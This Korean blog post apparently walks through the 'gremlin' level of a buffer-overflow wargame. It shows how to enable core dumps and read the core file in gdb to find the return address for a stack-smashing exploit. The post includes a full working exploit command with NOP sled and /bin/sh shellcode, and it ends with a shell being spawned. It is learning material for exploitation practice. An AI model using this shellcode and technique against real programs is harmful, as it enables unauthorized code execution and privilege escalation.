segmentation fault (core dump)

#코딩노예#·2022년 7월 15일
0

기타

목록 보기
2/16

/tmp 디렉터리에서 버퍼 오버플로우 공격을 하면 segmentation fault (core dump)가 발생하는데, 이때 생성되는 core 파일을 분석해보면 좀 더 정확한 주소를 얻을 수 있습니다.


만약 /tmp에서 버퍼 오버플로우 공격을 했는데, core 파일이 생성되지 않는다면 코어 파일 사이즈를 확인해 봐야 합니다.

[orge@localhost /tmp]$ ulimit -c
0

이렇게 코어 파일 사이즈가 0으로 되어 있으면 코어 파일이 생성되지 않습니다.


[orge@localhost /tmp]$ ulimit -c 1000000
[orge@localhost /tmp]$ ulimit -c
1000000

코어 파일 사이즈를 1000000로 설정하고 버퍼 오버플로우 공격을 하면 core 파일을 얻을 수 있습니다.


그냥 주소를 구할 때랑 core 파일을 이용해서 주소를 구할 때를 비교해보면

(gdb) run `python -c 'print "A"*300'`
Starting program: /tmp/gremlin `python -c 'print "A"*300'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x8048482 in main ()
(gdb) x/100x $esp
0xbffff8e8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8f8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff908:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff918:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff928:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff938:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff948:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff958:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff968:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff978:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff988:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff998:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9a8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9b8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9c8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9d8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9e8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9f8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa08:     0x41414141      0x41414141      0x41414141      0x00000000
0xbffffa18:     0xbffffa34      0x080482e0      0x080484bc      0x4000ae60
0xbffffa28:     0xbffffa2c      0x40013e90      0x00000002      0xbffffb31
0xbffffa38:     0xbffffb3e      0x00000000      0xbffffc6b      0xbffffc74
0xbffffa48:     0xbffffc93      0xbffffcb5      0xbffffcc7      0xbffffcd1
0xbffffa58:     0xbffffe94      0xbffffeb3      0xbffffecd      0xbffffee2
0xbffffa68:     0xbffffeed      0xbffffefe      0xbfffff0b      0xbfffff13

[gate@localhost /tmp]$ ./gremlin `python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xe8\xf8\xff\xbf"'`
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��1Ұ
                                                                                                                             ����
Segmentation fault (core dumped)

NOP+shellcode의 시작 위치는 0xbffff8e8로 나오고 이 주소로 공격을 해보면 실패합니다.


하지만 core 파일을 분석하여 주소를 구해보고

[gate@localhost /tmp]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./gremlin ���������������������������������������������������������������������'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffff8e8 in ?? ()
(gdb) x/100x $esp
0xbffffa10:     0x00000000      0xbffffa54      0xbffffa60      0x40013868
0xbffffa20:     0x00000002      0x08048380      0x00000000      0x080483a1
0xbffffa30:     0x08048430      0x00000002      0xbffffa54      0x080482e0
0xbffffa40:     0x080484bc      0x4000ae60      0xbffffa4c      0x40013e90
0xbffffa50:     0x00000002      0xbffffb4a      0xbffffb54      0x00000000
0xbffffa60:     0xbffffc5d      0xbffffc66      0xbffffc85      0xbffffca7
0xbffffa70:     0xbffffcb9      0xbffffcc3      0xbffffe86      0xbffffea5
0xbffffa80:     0xbffffebf      0xbffffed4      0xbffffedf      0xbffffef0
0xbffffa90:     0xbffffefd      0xbfffff05      0xbfffff16      0xbfffff24
0xbffffaa0:     0xbfffff32      0xbfffff43      0xbfffff51      0xbfffff5c
0xbffffab0:     0xbfffff6c      0xbfffffd4      0xbfffffe0      0x00000000
0xbffffac0:     0x00000003      0x08048034      0x00000004      0x00000020
0xbffffad0:     0x00000005      0x00000006      0x00000006      0x00001000
0xbffffae0:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffaf0:     0x00000009      0x08048380      0x0000000b      0x000001f4
0xbffffb00:     0x0000000c      0x000001f4      0x0000000d      0x000001f4
0xbffffb10:     0x0000000e      0x000001f4      0x00000010      0x0f8bfbff
0xbffffb20:     0x0000000f      0xbffffb45      0x00000000      0x00000000
0xbffffb30:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb40:     0x00000000      0x38366900      0x2f2e0036      0x6d657267
0xbffffb50:     0x006e696c      0x90909090      0x90909090      0x90909090
0xbffffb60:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb90:     0x90909090      0x90909090      0x90909090      0x9090909

NOP+shellcode의 주소 = 0xbffffb60


이 주소로 공격을 해보면 성공적으로 shell이 실행됩니다.

./gremlin `python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x60\xfb\xff\xbf"'`
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��1Ұ
                                                                                                                             `���
bash$

이렇게 그냥 gdb로 타겟 파일을 분석하는 것보다 core dump를 일으키고 core 파일을 분석하는 게 좀 더 정확한 주소를 얻을 수 있습니다.

0개의 댓글